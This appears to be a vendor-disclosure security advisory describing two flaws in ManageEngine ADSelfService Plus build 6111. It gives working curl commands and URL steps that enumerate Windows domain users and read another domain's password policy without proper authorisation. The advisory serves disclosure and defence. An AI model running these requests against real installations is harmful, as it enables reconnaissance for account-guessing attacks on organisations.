ManageEngine SelfService Plus Multiple Vulnerabilities

While researching CVE-2021-28958, Tenable found multiple vulnerabilities in ManageEngine ADSelfService Plus (ADSSP) build 6111.

1) Windows Domain User Existence Determination (CVE-2021-20147)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

ManageEngine ADSelfService Plus (ADSSP) allows an unauthenticated remote attacker to determine whether a Windows domain user exists. The attacker can achieve this with the following steps:

# Get configured domain list
curl 'http://<adssp-host>:8888/RestAPI/AuthenticationAPI?operation=domainList'

# Response when a domain user exists
# oldPassword and newPassword parameters need to pass the domain password policy 
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=user1&domainName=<domain>' http://<adssp-host>:8888/RestAPI/ChangePasswordAPI | grep HTTP
HTTP/1.1 200 OK

# Response when a domain user does not exist
# oldPassword and newPassword parameters need to pass the domain password policy 
curl -s -D - -o /dev/null -d 'oldPassword=Pw1@PwPolicy&newPassword=Pw2@PwPolicy&operation=UMCP&umcp=1&loginName=no_such_user&domainName=<domain>' http://<adssp-host>:8888/RestAPI/ChangePasswordAPI | grep HTTP
HTTP/1.1 500 Internal Server Error

2) Windows Domain Password Policy Disclosure (CVE-2021-20148)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

When ADSSP is configured with multiple Windows domains, a user from one domain can obtain the password policy for another domain with the following steps:

- Login to http://<adssp>:8888/ with the credentials of a user in domain A
- Fetch http://<adssp>:8888/RestAPI/PasswordSelfServiceAPI?operation=verifyUser&PSS_OPERATION=aaa ; this should return a list of configured domains
- Fetch http://<adssp>:8888/html/<domain_B_in_uppercase>_PasswordPolicy.html, replacing dot with underscore in the domain name; For example, if domain B is foo.local, fetch FOO_LOCAL_PasswordPolicy.html